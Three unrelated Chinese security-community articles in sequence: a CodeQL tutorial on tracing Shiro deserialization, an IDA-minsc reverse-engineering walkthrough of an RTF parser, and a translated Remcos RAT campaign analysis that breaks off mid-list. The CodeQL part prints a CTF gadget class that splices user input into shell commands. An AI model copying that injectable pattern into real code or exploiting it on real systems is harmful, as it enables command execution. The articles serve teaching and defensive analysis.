第二次尝试之后，我把全部代码逻辑在脑子进行无数次演算，不断的推敲逻辑是否可行。实在没办法之后咨询了某度大佬之后，师傅建议使用`RemoteFlowSource`，在翻开博客之后成功解决。后期大佬解释了`RemoteFlowSource`的作用，该类考虑了很多种用户输入数据的情况。
/**
* @name Unsafe shiro deserialization
* @kind path-problem
* @id java/unsafe-shiro-deserialization
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
predicate isDes(Expr arg){
exists(MethodAccess des |
des.getMethod().hasName("deserialize")
and
arg = des.getArgument(0)
)
}
class ShiroUnsafeDeserializationConfig extends TaintTracking::Configuration {
ShiroUnsafeDeserializationConfig() {
this = "StrutsUnsafeDeserializationConfig"
}
override predicate isSource(DataFlow::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg|
isDes(arg) and
sink.asExpr() = arg /* bytes */
)
}
}
from ShiroUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "Unsafe shiro deserialization" ,source.getNode(), "this user input"
// select sink, source, sink, "Unsafe shiro deserialization" ,source, "this user input"
其实查到这里并没有达到我心理的预期，预期结果是将：`request->cookies->cookie->bytes`整个路径查询出来。于是我又去Discussion去提问了，[Disuccsion334](https://github.com/github/securitylab/discussions/334)
，起初我没看懂老外的意思，老外也没有懂我的意思，语言的障碍，下面是对话内容：
老外给的答案，大致意思这样子已经很好，没有必要去追求。实在想的话，得把source部分改了并且增加谓词`isAdditionTaintStep`。
* * *
## 补充
目前找到了可控用户输入数据到反序列化整个链，但如何去利用呢？前面我发现`LogHandler`类是调用了`Tools#exeCmd`方法，利用调用该类此特性就可以完成Exploit的编写。利用方式参考[一道shiro反序列化题目引发的思考](https://summersec.github.io/2021/03/05/%E4%B8%80%E9%81%93shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83/)
，这里就不在赘述。
`LogHandler源码`：
private Object target;
private String readLog = "tail accessLog.txt";
private String writeLog = "echo /test >> accessLog.txt";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
@Override
public String toString() {
return Tools.exeCmd(this.readLog);
}
* * *
## 总结
如何找到`Source`和定位`Sink`是本文的重点，在CodeQL规则中也是一个重点。但让规则更加完美处理中间额外污染步骤`AdditionalTainStep`也很重要，本文对此并没有涉及。对于小白来说，可能这篇文章还是有点难度，我已经尽可能写小白化了。对于学过CodeQL入门的童鞋应该是刚刚好。
* * *
## 参考
<https://xz.aliyun.com/t/7789#toc-0>
<https://summersec.github.io/2021/03/28/CodeQL%20workshop%20for%20Java%20Unsafe%20deserialization%20in%20Apache%20Struts/>
<https://xz.aliyun.com/t/7789#toc-8>
<https://0range228.github.io/%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E7%AE%80%E5%8D%95%E4%BB%8B%E7%BB%8D/>
<https://github.com/github/securitylab/discussions/334>
<https://github.com/haby0/mark/blob/master/articles/2021/CodeQL-%E6%95%B0%E6%8D%AE%E6%B5%81%E5%9C%A8Java%E4%B8%AD%E7%9A%84%E4%BD%BF%E7%94%A8.md> | 社区文章 |
接上一篇 https://xz.aliyun.com/t/2841
## 找到RTF的token参数解析器
此时，我们仍然应该在“sub_431D38”之内。 虽然我们可以对照（Ctrl +
X）指向我们在此处分配的token数组的一些指针，并最终获得处理我们的令牌及其参数的函数，但这里存在一种更简单的方法。
我们可以为数据库中的每个函数标记所有开关。 在我们处理它时，让我们计算每个开关的样例数量，这样我们就可以快速查询具有最多案例的函数。
我们可以使用`function.switches（）`来枚举函数中的所有开关。 这允许我们遍历函数中定义的所有开关，并返回IDA-minsc的`switch_t`实例，我们可以使用它来计算非默认事例的总数。 为此，我们首先定义一个函数，而该函数将标记开关的数量和函数事例总数。
Python>def tag_switches(ea):
Python> count, total = 0, 0
Python> for sw in func.switches(ea):
Python> count += 1
Python> total += len(sw.cases)
Python> if count > 0:
Python> func.tag(ea, 'switch.count', count)
Python> func.tag(ea, 'switch.cases', total)
Python> return
现在我们已经定义了一个函数。它可以标记IDA数据库中的函数，标签“switch.count”表示开关数，“switch.cases”表示案例总数，我们可以将其应用于每个函数数据库，以便我们以后可以查询。
让我们使用`database.functions（）`通过以下方法遍历所有函数：
Python>for ea in db.functions():
Python> tag_switches(ea)
这可能需要一段时间，因此如果我们能够看到当前的进展，那将会对我们的工作更有帮助。 IDA-minsc在我们可以使用的“工具”模块中提供了一个工具。
该工具是是以callable作为参数的`tools.map`。 如果我们愿意使用此功能，我们可以使用以下内容：
Python>_ = tools.map(tag_switches)
既然我们将每个函数都标记为开关，我们就可以查询整个数据库以便对它们进行排序。
虽然我们可以使用Python的`sorted`函数中的“key”关键字，但我们只是管理我们的查询结果，以便第一个条目是属于每个函数的开关总数。
之后，我们将使用`sorted`对它们进行排序，然后查看应该具有最多情况的元素。
Python>results = []
Python>for ea, tags in db.select('switch.cases'):
Python> results.append( (tags['switch.cases'], ea) )
Python>
Python>results = sorted(results)
Python>len(results)
162
现在我们已经有了具有最多开关的函数的排序列表，我们可以查看最后一个元素以便找到我们所需要的内容。 让我们从最后一个结果中提取地址，然后导航到它（图6）。
Python>results[-1]
(294, 5797552)
Python>_, ea = results[-1]
Python>go(ea)
看起来我们很幸运，发现了一些看起来像解析器的东西或者真的是一个带有许多案例开关的标记器。
让我们通过调用`function.tag（）`来仔细检查我们的开关数。
Python>print func.tag('switch.count')
1
这里似乎只有一个开关。 让我们分析我们的开关，这样我们就可以看到它有什么样的情况。 为此，请单击其主分支的地址0x5876d1。
现在它被选中了，我们不需要将地址传递给`database.get.switch（）`而是让它使用当前地址。 我们将它存储到“sw”变量中。
Python>sw = db.get.switch()
Python>sw
<type 'switch_t{456}' at 0x5876c5> default:*0x58af5c branch[456]:*0x5876d8 register:edx
让我们看看这个开关中有多少个案例和默认情况。 我们将通过获取其总长度并减去其有效案例的长度来计算默认案例的数量。
Python>print 'number of cases:', len(sw)
number of cases: 456
Python>print 'number of default cases:', len(sw) - len(sw.cases)
number of default cases: 162
为了使我们更容易识别与特定案例相关联的token，我们可以使用存储在“token”列表中的内容简单地标记每个案例。
可用案例列表位于“sw”变量的“cases”属性中。 我们可以简单地调用它的`.case（）`方法来获取处理特定情况的程序。
我们将使用这些属性来标记每个处理程序，其中包含我们在上面分配的“token”列表中的“token”标记。
Python>for case in sw.cases:
Python> handler = sw.case(case)
Python> db.tag(handler, 'token', tokens[case])
然而，每种情况都可以处理多个令牌是一种问题。 这需要我们关注每个处理程序的案例。 为此，我们可以使用我们分配的“sw”变量的“handler”方法。
我们将使用“function.select”来选择我们已经标记过的所有处理程序，然后重新标记程序。
虽然`function.select（）`以函数地址作为参数，但由于我们要查询当前函数，因此它的地址已不在需要。
Python>for ea, tags in func.select('token'):
Python> toks = []
Python> for case in sw.handler(ea):
Python> toks.append( tokens[case] )
Python> db.tag(ea, 'token', toks)
这导致每个案例处理的token列表被标记为“token”。
如果我们需要再次找到处理程序或每个案例处理的token，我们可以再次使用`function.select`来获取它们。
在图7中，情况66,68,69,183和427的处理程序具有多个token值。
为了找到第一个调用指令，接下来我们要做的是遍历我们用“token”所标记过的每个地址。
我们还将寻找无条件分支。倘若我们成功找到了无条件分支，那么处理程序则被调用完成并在开关外部产生分支。 我们将使用“指令”模块去识别无条件分支或调用指令。
这个模块包含函数`instruction.is_jmp`和`instruction.is_call`。
我们将使用带有断言机制的`database.address.next`变量去找到与其中一个相匹配的“下一条”指令。
虽然这并不能产生100％准确的结果，但我们稍后会手动完成此操作。
因此在这种情况下准确性并不太重要。让我们使用`function.select`查询我们的处理程序，然后使用标记名“rtf-parameter”将处理程序的地址标记为其第一个调用指令。
Python>for ea, tags in func.select('token'):
Python> next_call = db.a.next(ea, lambda ea: ins.is_jmp(ea) or ins.is_call(ea))
Python> if ins.is_call(next_call):
Python> db.tag(ea, 'rtf-parameter', ins.op(next_call, 0))
Python> elif ins.is_jmp(next_call):
Python> print "found an unconditional branch with the target: {:x}".format(ins.op(next_call, 0))
Python> continue
我们在这里列出了一些对我们来说并不重要的无条件分支。 因此，让我们查询那些被标记为第一个调用指令结果。
Python>found = set()
Python>for ea, tags in func.select('rtf-parameter'):
Python> found.add(tags['rtf-parameter'])
Python>
Python>found
set([4397600, 6556480, 4226632, 5797484, 5797008, 4226316, 4226640, 4397688, 5797216, 4226452, 5796288, 5797400, 5767988, 6487132])
不幸的是，这些数字没有很大用处。所以为了方便我们点击它们，让我们将它们映射为名称。
Python>map(func.name, found)
['sub_431A20', 'sub_640B40', 'sub_407E48', 'sub_58766C', 'sub_587490', 'sub_407D0C', 'sub_407E50', 'sub_431A78', 'sub_587560', 'sub_407D94', 'sub_5871C0', 'sub_587618', 'sub_580334', 'sub_62FC5C']
手动完成每个操作并快速查找显示的内容后，我们将结果总结如下：
sub_431A20 — looks like it does something with numbers and a hyphen, probably a range?
sub_640B40 — no idea what this is
sub_407E48 — fetches some property from an object and doesn't call anything
sub_58766C — looks too complex for me to care about
sub_587490 — looks too complex for me to care about
sub_407D0C — fetches some property from an array using an index
sub_407E50 — fetches some property from an array using an index
sub_431A78 — calls two functions, first one does something with spaces second one is the first in this list which does stuff with numbers and a hyphen
sub_587560 — looks complex, but calls some string-related stuff
sub_407D94 — calls a function that does some allocation, probably allocating for a list
sub_5871C0 — references a few characters that look rtf specific like a "{", backslash "\" and a single quote
sub_587618 — calls a couple functions that are currently in this list
sub_580334 — calls a couple functions that are currently in this list
sub_62FC5C — looks like it resizes some object of some kind
回过头来看一下这些注释，sub_431A20，sub_431A78，sub_5871C0和sub_587618似乎与解析相关。
我们将这个函数列表转换回地址。 这样我们就可以将它们存储在一个集合中，看看我们交换机的哪些案例正在使用它们。
首先，我们将使用`function.address（）`将函数名称转换回地址。
Python>res = map(func.address, ['sub_431A20', 'sub_431A78', 'sub_5871c0', 'sub_587618'])
Python>match = set(res)
现在我们有一个匹配的集合。现在让我们收集所有的实例以及其调用的“rtf-parameter”方法。 我们还将其输出，以便我们可以单独访问它们。
Python>cases = []
Python>for ea, tags in func.select('rtf-parameter'):
Python> if tags['rtf-parameter'] in match:
Python> print hex(ea), sw.handler(ea)
Python> for i in sw.handler(ea):
Python> cases.append((i, func.name(tags['rtf-parameter'])))
Python> continue
Python> continue
Python>
Python>len(cases)
116
让我们从这个列表中取出一些随机样本，看看它们指向的标记，并识别出处理标记的首个函数调用。 从一些随机样本中我们发现大量的样本被称为“sub_431A20”。
我们认为这个函数似乎被用来处理一个可以包含连字符的数字。
在IDAPython命令行执行以下操作时，我们可以看到案例246,100和183调用此函数并表示以下标记。
Python>cases[246]
(246, 'sub_431A20')
Python>cases[100]
(100, 'sub_431A20')
Python>cases[183]
(183, 'sub_431A20')
Python>
Python>tokens[246], tokens[100], tokens[183]
('margt', 'colsx', 'highlight')
如果我们参考RTF文件格式的文档，我们可以发现这些标记（'\ margt'，'\ colsx'和'\ highlight'）将数字作为其参数。
我们可以肯定地假设“sub_431A20”负责处理RTF令牌之后的数字参数。
现在让我们对其进行标记，这样我们就可以查看另一个函数并确定它可能采用的参数类型。
Python>func.tag(0x431a20, 'synopsis', 'parses a numerical parameter belonging to an rtf token')
让我们将上面的“案例”列表中剩下的内容进行转储，这样我们就可以快速了解我们还没有进行研究的功能。
这其中包含token名称，以便我们可以快速引用文件格式规范以确定它可能采用的参数类型。
Python>for i, name in cases:
Python> if name != 'sub_431A20':
Python> print i, tokens[i], name
Python> continue
27 b sub_587618
63 caps sub_587618
105 contextualspace sub_431A78
114 deleted sub_431A78
123 embo sub_587618
186 hyphauto sub_431A78
187 hyphcaps sub_431A78
190 hyphpar sub_431A78
191 i sub_587618
193 impr sub_587618
232 listsimple sub_431A78
270 outl sub_587618
346 scaps sub_587618
363 shad sub_587618
373 strike sub_587618
423 u sub_5871C0
426 ul sub_431A78
查看“\ b”，“\ caps”和“\ i”标记的文档后，我们发现这些标记可以使用可选的“0”作为参数用以关闭它们。
因此我们可以假设“sub_587618”是用于切换这些token参数的函数。 我们也标记这个功能。
Python>func.tag(0x587618, 'synopsis', 'parses an rtf parameter that can be toggled with "0"')
我们发出的列表中“\ hyphauto”，“\ hyphcaps”和“\ hyphpar”显现出来。 这些标记采用单个数字参数，即“1”或“0”来切换它。
这也是一个切换，但此参数是必需的。 让我们用我们新发现的知识来标记这一点。
Python>func.tag(0x431a78, 'synopsis','parses an rtf parameter that can be toggled with "0" or "1"')
现在我们已经确定了许多函数的语义。我们已经快速确定了Atlantis支持哪些token，并且可以使用此信息进行模糊特定目标。
## 关闭处理
Delphi 2009中引入了一种称为“匿名方法”的新功能。 此功能引入了对Delphi编程语言中闭包的支持。 闭包将捕获包含块的局部变量。
这允许闭包内的代码能够修改不同的函数的变量。
如图8所示，在Delphi生成的程序集中，`％ebp`寄存器中的帧指针作为参数传递给函数。
这样函数就可以取消引用指针并使用它来计算被引用的帧的局部变量地址。
这对于逆向工程师来说难度很大，因为在某些情况下局部变量通常在不同的函数中进行初始化。
要使用调试器跟踪此情况，逆向工程师可能会尝试确定变量的范围，然后使用硬件断点来标识它的第一个函数。
然而如果想要静态地去处理，这将会成为一个需要我们克服的难题。
这些局部变量的用法类似于以下代码。 在[16]中，帧从参数中提取并存储在`％eax`寄存器中。
这在[17]和[18]方法中重复多次以便取消引用每个调用者的帧指针的堆栈。 最后我们使用[19]，用以获取所确定的帧的局部变量。
在Atlantis应用中，这种类型的构造是非常常见的。但其也可能难以被用户管理。
CODE:0058BED8 018 8B 55 FC mov edx, [ebp+var_4]
CODE:0058BEDB 018 8B 45 08 mov eax, [ebp+arg_0] ; [16]
CODE:0058BEDE 018 8B 40 08 mov eax, [eax+8] ; [17]
CODE:0058BEE1 018 8B 40 08 mov eax, [eax+8] ; [18]
CODE:0058BEE4 018 8B 40 E8 mov eax, [eax-18h] ; [19]
CODE:0058BEE7 018 8B 88 64 05 00 00 mov ecx, [eax+564h]
CODE:0058BEED 018 8B 45 08 mov eax, [ebp+arg_0]
CODE:0058BEF0 018 8B 40 08 mov eax, [eax+8]
CODE:0058BEF3 018 8B 40 08 mov eax, [eax+8]
CODE:0058BEF6 018 8B 40 E8 mov eax, [eax-18h]
CODE:0058BEF9 018 E8 12 39 07 00 call sub_5FF810
CODE:0058BEFE 018 84 C0 test al, al
CODE:0058BF00 018 75 0C jnz short loc_58BF0E
但是在使用IDA-minsc时，我们可以在参数中标记用于存储其调用者帧的函数，以及每个帧所属的函数地址。 这样我们就可以识别类似于[19]引用的指令的框架。
为此，我们将使用两个标记名称。 其中“frame-avar”用于存储包含调用者帧的参数名称，以及“frame-lvars”用于存储引用帧所属的函数地址。
我们可以参考图8，在地址0x590a32处，函数“sub_590728”将其帧作为参数传递给位于地址0x590a33处的调用指令。
我们可以通过双击它进入这个函数调用，之后IDA将定位到名为“sub_58BE98”的函数的最顶层。 此函数只有一个调用者，如果我们查看其引用（Ctrl +
X）它将列出我们刚刚定位的地址。 知道这一点后，我们可以用它的调用方法的地址标记这个函数。
Python>callers = func.up()
Python>caller = callers[0]
Python>func.tag('frame-lvars', caller)
为了更容易识别参数，让我们使用“堆栈变量重命名”对话框将参数命名为“ap_frame_0”。 这可以通过选择“arg_0”然后点击“n”字符来完成此工作。
将变量重命名为“arg_0”后， 我们将再次使用标记将参数名称存储为“frame-avar”。 如果之后我们希望查找框参数，我们可以使用“frame-avar”标签来提取它。
Python>func.tag('frame-avar', 'ap_frame_0')
执行此操作后，该函数将如下图所示。 我们现在可以遍历“ap_frame_0”参数变量的任何引用，然后使用“frame-lvars”标记中的值标记它们。
CODE:0058BE98 ; [frame-avar] ap_frame_0
CODE:0058BE98 ; [frame-lvars] 0x590a33
CODE:0058BE98 ; Attributes: bp-based frame
CODE:0058BE98
CODE:0058BE98 sub_58BE98 proc near
CODE:0058BE98
CODE:0058BE98 var_4 = dword ptr -4
CODE:0058BE98 ap_frame_0 = dword ptr 8
CODE:0058BE98
为此我们将使用`function.frame（）`函数提取框架结构。 完成此操作后，我们可以获取表示“ap_frame_0”变量的成员。
然后，可以使用此结构成员枚举当前函数中对它的所有引用。
Python>f = func.frame()
Python>f.members
<type 'structure' name='$ F58BE98' size=+0x10>
[0] -4:+0x4 'var_4' (<type 'int'>, 4)
[1] 0:+0x4 ' s' [(<type 'int'>, 1), 4]
[2] 4:+0x4 ' r' [(<type 'int'>, 1), 4]
[3] 8:+0x4 'ap_frame_0' (<type 'int'>, 4)
我们可以使用其索引或其名称来获得该成员变量。 在这种情况下，我们可以按名称引用它。
一旦获取了成员，我们就可以继续调用它的`refs（）`方法来遍历函数中对成员的所有引用。
Python>m = f.by('ap_frame_0')
Python>len(m.refs())
8
Python>for r in m.refs():
Python> print r
Python>
AddressOpnumReftype(address=5815998L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816027L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816045L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816066L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816087L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816112L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816134L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816175L, opnum=1, reftype=ref_t(r))
返回的引用是一个命名元组，包含地址、操作数、以及引用是读取还是写入变量。
为了显示我们正在处理的指令，我们将简单地从元组中解压缩地址并将其与`database.disassemble`函数一起使用。
Python>for ea, _, _ in m.refs():
Python> print db.disasm(ea)
Python>
58bebe: mov eax, [ebp+ap_frame_0]
58bedb: mov eax, [ebp+ap_frame_0]
58beed: mov eax, [ebp+ap_frame_0]
58bf02: mov eax, [ebp+ap_frame_0]
58bf17: mov eax, [ebp+ap_frame_0]
58bf30: mov eax, [ebp+ap_frame_0]
58bf46: mov eax, [ebp+ap_frame_0]
58bf6f: mov eax, [ebp+ap_frame_0]
现在我们可以确定这些指令已经成功引用了包含其调用帧的参数。让我们暂时用名称“frame-operand”和操作数索引标记它们。
Python>for ea, idx, _ in m.refs():
Python> db.tag(ea, 'frame-operand', idx)
Python>
接下来，我们要做的是为每个使用分配帧变量的寄存器标识下一条指令。 我们可以使用`instruction.op`去识别属于第一个操作数的寄存器。
要找到正在读取寄存器的下一条指令，我们可以使用`database.address.nextreg`函数。
然而，在我们实际标记结果之前让我们首先选择“frame-operand”标记，并使用`instruction.op`和`database.address.nextreg`的组合来查看我们的结果。
Python>for ea, tags in func.select('frame-operand'):
Python> reg = ins.op(ea, 0)
Python> next_ref = db.a.nextreg(ea, reg, read=True)
Python> print hex(ea), '->', db.disasm(next_ref)
Python>
58bebe -> 58bec1: push eax
58bedb -> 58bede: mov eax, [eax+8]
58beed -> 58bef0: mov eax, [eax+8]
58bf02 -> 58bf05: mov eax, [eax+8]
58bf17 -> 58bf1a: mov eax, [eax+8]
58bf30 -> 58bf33: mov eax, [eax+8]
58bf46 -> 58bf49: mov eax, [eax+8]
58bf6f -> 58bf72: mov eax, [eax+8]
在地址0x58bebe处我们能看到，`％eax`寄存器的下一次使用是通过“push”指令在0x58bec1处。 这可能用于将调用程序的帧传递给函数调用。
现在因为我们只对需要处理当前函数中使用的帧变量，所以我们将地址中的标记删除。
Python>db.tag(0x58bebe, 'frame-operand', None)
1
在删除地址标记后，这里应该只存在从帧中读取的赋值指令。 而之前我们已将调用者的地址存储在功能标记的“frame-lvars”中。
因此，我们现在可以使用它来标记每个赋值指令。
Python>for ea, tags in func.select('frame-operand'):
Python> reg = ins.op(ea, 0)
Python> next_ref = db.a.nextreg(ea, reg, read=True)
Python> lvars = func.tag('frame-lvars')
Python> db.tag(next_ref, 'frame', lvars)
Python>
现在我们已经创建了一个新的标签“frame”，它指向使用该帧的指令。此时我们不再需要“frame-operand”标签了。
我们现在可以通过在IDAPython命令提示符下执行以下代码来删除此“frame-operand”标记。
Python>for ea, _ in func.select('frame-operand'):
Python> db.tag(ea, 'frame-operand', None)
Python>
让我们再次查看我们的结果，查询函数是否有任何标记为“frame”的指令。
我们将再次使用`database.disassemble`，这次操作使用“comment”关键字所指定的注释作为其参数之一。
Python>for ea, tags in func.select('frame'):
Python> print db.disasm(ea, comment=True)
Python>
58bede: mov eax, [eax+8]; [frame] 0x590a33
58bef0: mov eax, [eax+8]; [frame] 0x590a33
58bf05: mov eax, [eax+8]; [frame] 0x590a33
58bf1a: mov eax, [eax+8]; [frame] 0x590a33
58bf33: mov eax, [eax+8]; [frame] 0x590a33
58bf49: mov eax, [eax+8]; [frame] 0x590a33
58bf72: mov eax, [eax+8]; [frame] 0x590a33
在用“frame”标记这些指令之后，我们现在可以看到偏移实际指的是哪个帧。 有了这个，当我们正在反汇编时，我们能够双击并立即查看拥有该变量的框架。
但是，我们可以做得比这更好一些。 如果我们双击我们发出的一个指令的地址，我们就可以使用`instruction.op`函数来提取引用该帧变量的操作数。
让我们定位到其中一个说明，然后尝试。
Python>ins.op(1)
OffsetBaseIndexScale(offset=8L, base=<internal.interface.register.eax(0,dt_dword) 'eax' 0:+32>, index=None, scale=1)
我们可以通过`instruction.op`立即发出当前指令的第一个操作数，并返回一个命名元组。它包含指向我们希望查看的帧变量的偏移量。
如果我们使用带有`function.frame`的偏移来识别框架，那么我们就可以得到它的命名。 让我们用这个方法获取成员名称然后用它作为“frame-member”标记指令。
Python>for ea, tags in func.select('frame'):
Python> frame = func.frame(tags['frame'])
Python> offset = ins.op(ea, 1).offset
Python> member = frame.by(offset)
Python> db.tag(ea, 'frame-member', member.name)
Python>
我们现在可以看到当前函数中标有“frame”的指令都包含frame变量名称的“frame-member”标记。
如果我们获得了任何用标签“frame”标记的指令，那么我们应先根据描述的代码查看由“frame”值标识的函数所拥有的帧，然后使用对其名称的引用对其进行标记。
这样，如果多个指令在标记中包含正确的帧，则先前的代码将存储被引用的变量名称。
如果我们在0x590a33确定函数的调用者，我们则可以对0x58bf36处的指令执行相同的操作。
有了这个，我们就可以用标签名称“frame”和函数的地址来标记0x58bf36。
CODE:0058BF33 018 8B 40 08 mov eax, [eax+8] ; [frame] 0x590a33
CODE:0058BF33 ; [frame-member] arg_0
CODE:0058BF36 018 8B 40 08 mov eax, [eax+8]
CODE:0058BF39 018 8B 80 54 F9 FF FF mov eax, [eax-6ACh]
CODE:0058BF3F 018 8B D3 mov edx, ebx
然而我们可以不用使用标签来引用它。 IDA-minsc实际上允许我们通过`instruction.op_structure`函数将帧结构本身应用于操作数。
要执行此操作，我们将对“frame”标记执行相同的选择，而不是获取偏移量以确定框架成员的名称，我们可以使用带有框架结构本身的`instruction.op_structure`方法。
Python>for ea, tags in func.select('frame'):
Python> frame = func.frame(tags['frame'])
Python> ins.op_struct(ea, 1, frame)
Python>
然后每个标记的指令可以引用指向帧成员的第二个操作数。 下图将显示0x58bf49处的“frame”标记。
CODE:0058BF36 018 8B 40 08 mov eax, [eax+8]
CODE:0058BF39 018 8B 80 54 F9 FF FF mov eax, [eax-6ACh]
CODE:0058BF3F 018 8B D3 mov edx, ebx
CODE:0058BF41 018 E8 EA BE E7 FF call sub_407E30
CODE:0058BF46 018 8B 45 08 mov eax, [ebp+ap_frame_0]
CODE:0058BF49 018 8B 40 08 mov eax, [eax+($ F590728.arg_0-0Ch)] ; [frame] 0x590a33
## 总结
IDA-minsc中有许多功能，包括允许用户以编程的方式与IDA向逆向工程师所公开的二进制文件的各个部分进行交互。在我们上面提到的功能中，这个插件还包含“结构”模块中提供的各种工具，并且可以使用`function.frame（）`来查询属于特定函数的堆栈帧的变量。我们建议用户针对这些模块运行Python的`help（）`关键字，以了解可用的内容。
尽管与大多数逆向工程任务一样，很多事情都可以通过调试器和一些适当的断点来完成，但我们相信用户通过注释脚本能够编写兼容性很好的代码。通过使用一致的、非详细的API，其中每个函数的大部分参数都可以被自动确定，这个插件减少了用户投资开发自动化反汇编工作的解决方案所需的时间。逆向工程师可以使用它来处理大规模项目，而无需将时间浪费在时间承诺上。
请访问GitHub的存储库，下载该插件并进行试用。如果您喜欢该插件，请“关注”它，并在存储库中提出所发现的问题或贡献CONTRIBUTING.md文件。 | 社区文章 |
# 揭秘Remcos下的僵尸网络
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
思科Talos团队最近发现多起使用Remcos远程控制工具的事件，该工具由一家名为Breaking
Security的公司出售，虽然该公司表示他们出售的软件只能用于合法用途，对于不遵守其最终用户许可协议的用户将撤销其许可证。但远程控制工具的贩卖给攻击者建立一个潜在的僵尸网络提供了所需的一切条件。
每个Remcos许可证的价格从58欧元到389欧元不等。Breaking
Security还支持用户使用数字货币进行支付。这种远控可以完全控制和监测任何Windows XP及其之后的包括服务器在内的Windows系统。
除了Remcos之外，Breaking Security还提供一种名为Octopus
Protector的加密工具，它可以通过加密磁盘软件的方式使恶意软件绕过反恶意软件产品的检测。在YouTube的Breaking
Security频道上展示了这款工具绕过反病毒软件的能力。这个公司还提供一种键盘记录器，它具有记录和发送功能。还有可以发送大量垃圾邮件的邮件系统以及可以发送命令控制C2通信的DynDNS服务。当这些和Remcos相结合，就提供了构建一个持久性僵尸网络的基础设施。
在思科的高级恶意软件防护（AMP）系统内，我们监测到了几种尝试在各终端安装此RAT的实例。我们还看到许多恶意软件散布Remcos的行为，这些行为使用不同的方法绕过检测。为了帮助那些感染Remcos的受害者，思科Talos团队提供了一个从二进制文件中提取C2服务器地址及其他信息的[脚本](https://github.com/Cisco-Talos/remcos-decoder/blob/master/remcos_decryptor.py)。详细信息请看下面的技术细节部分。
## 二、Remcos在野利用
由于Remcos在许多与黑客相关的论坛上进行广告宣传和销售，我们观察到几起恶意软件尝试传播Remcos给大量受害者的活动。我们认为大量不相关的攻击者利用这种软件，使用不同的方式去感染系统。今年早些时候，RiskIQ发布了一份关于一名攻击者的报告，这名攻击者的目标是土耳其国防承包商。从那之后，这个攻击者持续活动，并把目标指向特定类型的组织。我们确信，除了国防承包商，这名攻击者还把以下组织作为目标，如：
* 国际新闻机构
* 柴油机设备制造商和海事及能源部门服务提供商
* 能源部门的HVAC服务提供商
在观察到的活动中，攻击始于用土耳其语编写的特制鱼叉式钓鱼邮件，这些邮件看起来像土耳其政府部门发的，声称与受害组织的税务报告有关。下面是其中的一份邮件，作为示例：
攻击者尽力使邮件看起来更像是来自Gelir İdaresi Başkanlığı
(GIB)的官方邮件，土耳其税务局在财政部下运作，负责处理土耳其的税务事务。邮件甚至还包括官方GIB图形和底部的文本，这些文字翻译后为：
_“感谢您参与[税务局]电子邮件服务的电子邮件通知系统。此消息包含已被GIB邮件通知系统发送给您。请不要回复此邮件。”_
和其他的鱼叉式钓鱼攻击一样，恶意的Microsoft
Office被附加在邮件内。大部分的文档为Excel表格，我们观察到使用Word文档攻击时，许多情况下，文档的内容会被故意模糊，来诱使受害者开启宏来查看文档。下面是一个活动中发现的，伪装成税款单的Word文档。
我们分析的大多数Excel表格都是空白的，只有以下的图片和警告，用土耳其语提示用户开启宏。
我们还观察到一些针对英文用户的活动，下面是一个恶意附件，看起来像是西班牙的旗舰航空公司lberia的发票。
除了以lberia为主题的恶意文档，我们还发现了与波兰航空公司AMC有关的大量恶意文档，如下是用Excel和Word制作的行程诱导图。
如RiskIQ所报道，包含小的可执行文件的宏以数组的方式被嵌入文档，一旦执行，宏重构可执行文件，将其保存到系统的特殊的位置并执行它，指定的文件位置会在恶意文档中发生更改，包括恶意软件作者常用的目录，例如％APPDATA％和％TEMP％。可执行文件名也会在文档中更改。
提取的可执行文件很简单，被作为Remcos恶意软件的下载程序。它是一个很普通的程序，用于从攻击者控制的服务器检索Remcos并执行它，从而感染系统。下面是一个例子：
Remcos是一个强大的RAT，可在被感染的系统执行键盘记录，远程截屏，文件管理，命令执行等多个功能，一些情况下，除了Remcos，还检测到一些与这些活动相关的分发服务器上寄存了几个恶意二进制文件。
## 三、谁是Remcos的幕后推手？
正如前面所提到，名为Breaking
Security的公司在官网出售Remcos及其他一些可疑的软件。在官网上，没有这家公司的细节信息或幕后人信息，但在官网列出了增值税号码来说明公司已经在德国注册。有趣的是，你可以在几乎任何欧盟（EU）国家/地区查找公司的名称和地址网站。但考虑到个人隐私，德国并不会公布这项信息。由于Breaking
Security已在德国注册，因此我们无法确定该公司背后的个人姓名和地址。尽管如此，我们还是能够鉴别一些特征，让我们了解谁可能是公司背后的人。
公共和私人增值税项目的比较
Breaking
Security的域名目前在Cloudflare上托管，可以隐秘的保护注册信息。我们费了很大的功夫去解密谁在这家公司幕后以及和这些软件有关。通过分析，我们可以找到一些有关这个公司幕后人的个人线索，但也可能是错误的或者是攻击者在互联网上故意构造的虚假信息。
我们首先证实的是如Viotto Keylogger截图所示的邮箱和域名。
* logs[@viotto](https://github.com/viotto "@viotto")[.]it
* viotto-security[.]net
虽然viotto-security[.]net域名服务器的注册信息受到和breaking-security[.]net一样的保护。域名viotto[.]it在”Sender’s e-mail”无法找到。但这个域名相关的Whois信息如下图所示：
因为这些数据在很多地方已经公开，所以我们不对它做模糊化处理。我们还通过从网站收集的数据确定了REMCOS作者似乎经常使用的其他的email,
jabber和xmpp地址:
* viotto[@null](https://github.com/null "@null")[.]pm
* viotto24[@hotmail](https://github.com/hotmail "@hotmail")[.]it
* viotto[@xmpp](https://github.com/xmpp "@xmpp")[.]ru
